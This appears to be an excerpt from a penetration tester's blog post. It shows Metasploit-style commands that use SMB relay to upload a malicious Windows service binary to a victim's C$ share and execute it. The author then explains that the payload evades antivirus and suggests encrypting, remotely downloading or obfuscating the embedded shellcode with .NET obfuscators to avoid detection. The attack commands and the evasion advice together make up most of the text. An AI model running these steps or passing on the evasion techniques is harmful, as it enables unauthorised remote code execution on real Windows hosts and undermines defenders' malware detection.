#SMB_PUT our malicious windows service (named metservice.exe) onto the victim
set RHOST mwebserver
set RPORT 445
set RTYPE SMB_PUT
set URIPATH /1
set RURIPATH c$\\Windows\\rla7cu.exe
set FILEPUTDATA /root/ntlm_demo/smb_pwn/metservice.exe
run
#Execute the malicious windows service
set RTYPE SMB_PWN
set RURIPATH %SystemRoot%\\rla7cu.exe
set URIPATH /2
run

Out of the box, this service already evades most AV (there are 0 detections when I uploaded to virustotal).

However, as AV companies do, they could update their stuff to figure out a way of detecting this. In the middle of a pentest, I already got an email from a concerned stakeholder asking about this service, which I had named “gonnaownyou” or something (yes, I know, sloppy, but I can be loud and arrogant). This concerned stake holder said they were in the process of analyzing the binary to determine if it was malicious. Surprised they had detected anything, I immediately dropped the binary into reflector, and it really couldn’t be more obvious that it is in fact malicious. I mean, my byte array is named “shellcode”, even in reflector.

As an attacker, the good news is we’re in .NET land now. It’s really very easy to modify C# compared to low level shellcode. All our real shellcode is just a string, which we can hide however the hell we want – we could easily download it from somewhere, use encryption, etc. with only a few code changes. In fact, we might not even have to modify our code above at all. There is an entire legitimate market to make managed code tough to analyze to protect IP and whatnot. Think dotfuscator. I’m not an AV guy – I usually know just enough to evade it – but it seems to me that for an AV company to detect our dotfuscated shellcode would be a difficult problem.

You know how it’s often referred to as an arms race/escalation game when people try to bypass AV, and then AV companies try to detect that? You know how they say basically the same thing about code obfuscating type solutions? Well, I don’t like spending my time evading AV, so I have this funny fantasy where I pit the code obfuscator people against the AV companies and they escalate their approaches against each other, leaving me out of the escalation equation completely :)

Follow

Get every new post delivered to your Inbox.

Join 34 other followers